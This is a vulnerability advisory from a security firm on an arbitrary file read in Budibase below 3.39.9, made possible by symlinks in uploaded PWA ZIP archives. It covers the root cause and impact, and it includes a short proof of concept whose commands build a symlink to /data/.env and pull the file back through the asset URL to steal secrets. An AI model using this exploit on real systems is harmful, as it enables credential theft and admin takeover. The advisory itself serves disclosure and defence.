Budibase: Arbitrary File Read by Workspace-Builder via PWA-Zip Symlink Upload
An authenticated workspace builder uploads a ZIP containing a symlink entry to the PWA endpoint and reads arbitrary server files such as /data/.env; with the leaked JWT secret this escalates to the global admin role.
Advisory ID: TP-2026-017
Product: Budibase (open-source low-code platform for building internal tools and web apps on top of your own data sources)
Vulnerability type: Arbitrary file read via symlink (CWE-22, CWE-59)
CVE: CVE-2026-54352
CVSS 3.1: 9.6 (Critical) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected versions: < 3.39.9
Fixed in: 3.39.9
Vendor advisory: GHSA-w7mq-r738-x278
Reported: 20 May 2026
Summary
Budibase is an open-source low-code platform for building internal tools and applications on top of your own data sources. The PWA-zip upload endpoint accepts an archive from any workspace builder and unpacks it with extract-zip 2.0.1, which restores symlink entries with absolute targets unchanged. The downstream icon validator follows these symlinks because both the path check and the existence check resolve symlinks through path.resolve and fs.existsSync, and it uploads the target file to MinIO, from where it is served back under an asset URL. As a result, a workspace builder can read arbitrary server files, including /data/.env with JWT_SECRET, database credentials, and MinIO and Redis passwords, which escalates to the global admin role via HS256 JWT forgery. turingpoint verified the flow and reported it responsibly to the vendor.
Root cause
The /api/pwa/process-zip endpoint (packages/server/src/api/routes/static.ts:24) accepts a multipart file ZIP archive from any workspace builder and unpacks its contents with extract(filePath, { dir: tempDir }) (packages/server/src/api/controllers/static/index.ts:235). The bundled extract-zip 2.0.1 restores symlink entries with absolute targets without stripping the leading /, so an entry such as evil.png -> /data/.env lands in the temp directory as a symlink. The icon-path validator checks path.resolve(baseDir, icon.src).startsWith(baseDir + path.sep) and fs.existsSync(resolvedSrc) (packages/server/src/api/controllers/static/index.ts:259-268), and both follow symlinks, so evil.png is accepted as a valid icon located inside the base directory. objectStore.upload then opens the resolved path with (await fsp.open(path)).createReadStream() (packages/backend-core/src/objectStore/objectStore.ts:302), follows the symlink, and uploads the target file content to MinIO. The file is served back under GET /api/assets/{appId}/pwa/{uuid}.png, so a workspace builder can read arbitrary server files such as /data/.env.
Proof of Concept
Prerequisite is a valid workspace-builder session for an app:
# Build a malicious ZIP with a symlink entry (system zip with --symlinks):
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip --symlinks attack.zip icons.json evil.png
# Upload as the workspace builder:
POST /api/pwa/process-zip
Content-Type: multipart/form-data; ...
[email protected]
# -> response: {"icons":[{"src":"<appId>/pwa/<uuid>.png", ...}]}
# Retrieve the target file content (/data/.env) via the asset URL:
GET /api/assets/<appId>/pwa/<uuid>.png
Because extract-zip preserves the absolute symlink target and the validator follows the symlink, the content of /data/.env is uploaded to MinIO as a supposed icon and served back byte-for-byte under the asset URL.
Impact
- Read access by a workspace builder to arbitrary files in the server container, including
/data/.env. - Disclosure of
JWT_SECRET, database credentials, and MinIO and Redis passwords. - Escalation from workspace builder to the global admin role through HS256 JWT forgery with the leaked
JWT_SECRET. - Takeover of connected storage and database services via the disclosed credentials.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
